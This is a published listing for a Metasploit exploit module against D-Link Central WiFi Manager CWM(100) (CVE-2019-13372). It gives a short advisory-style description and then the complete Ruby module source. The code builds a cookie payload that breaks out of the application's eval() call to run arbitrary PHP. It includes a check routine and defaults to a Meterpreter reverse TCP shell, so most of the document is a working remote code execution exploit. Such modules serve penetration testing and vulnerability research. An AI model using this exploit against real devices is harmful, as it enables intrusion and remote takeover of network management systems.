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D-Link Central WiFi Manager CWM(100) Remote Code Execution

D-Link Central WiFi Manager CWM(100) Remote Code Execution
Posted Aug 18, 2020
Authored by M3 at ZionLab, Redouane Niboucha | Site metasploit.com

This Metasploit module exploits a PHP code injection vulnerability in D-Link Central WiFi Manager CWM(100) versions below v1.03R0100_BETA6. The vulnerability exists in the username cookie, which is passed to eval() without being sanitized. Dangerous functions are not disabled by default, which makes it possible to get code execution on the target.

tags | exploit, php, code execution
advisories | CVE-2019-13372
MD5 | ad4f9d0e1e861c8a9f9b8b0544120a4c

D-Link Central WiFi Manager CWM(100) Remote Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'D-Link Central WiFi Manager CWM(100) RCE',
'Description' => %q{
This module exploits a PHP code injection vulnerability in D-Link Central WiFi Manager CWM(100)
versions below `v1.03R0100_BETA6`. The vulnerability exists in the
username cookie, which is passed to `eval()` without being sanitized.
Dangerous functions are not disabled by default, which makes it possible
to get code execution on the target.
},
'License' => MSF_LICENSE,
'Author' =>
[
'M3@ZionLab from DBAppSecurity', # Original discovery
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # PoC, metasploit module
],
'References' =>
[
['CVE', '2019-13372'],
['URL', 'https://unh3x.github.io/2019/02/21/D-link-(CWM-100)-Multiple-Vulnerabilities/' ]
],
'Targets' => [ [ 'Automatic', {}] ],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'SSL' => true,
'RPORT' => 443
},
'Platform' => %w[php],
'Arch' => [ ARCH_PHP ],
'DisclosureDate' => 'Jul 9 2019'
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to to the web application', '/'])
]
)
end

def inject_php(cmd)
encode_char = ->(char) { '%' + char.ord.to_s(16).rjust(2, '0') }
payload = "',0,\"\",1,\"0\")%3b#{cmd.gsub(/[;\s]/, &encode_char)}%3b//\""
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'index.php', 'Index', 'index'),
'cookie' => "username=#{payload};password="
)
res ? res.body[/^(.*?)<!DOCTYPE html>/mi, 1] : nil
end

def check
rand_text = Rex::Text.rand_text_alphanumeric(rand(4..10))
if inject_php("echo \"#{rand_text}\"")&.chomp == rand_text
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Unknown
end

def exploit
inject_php(payload.raw)
end
end
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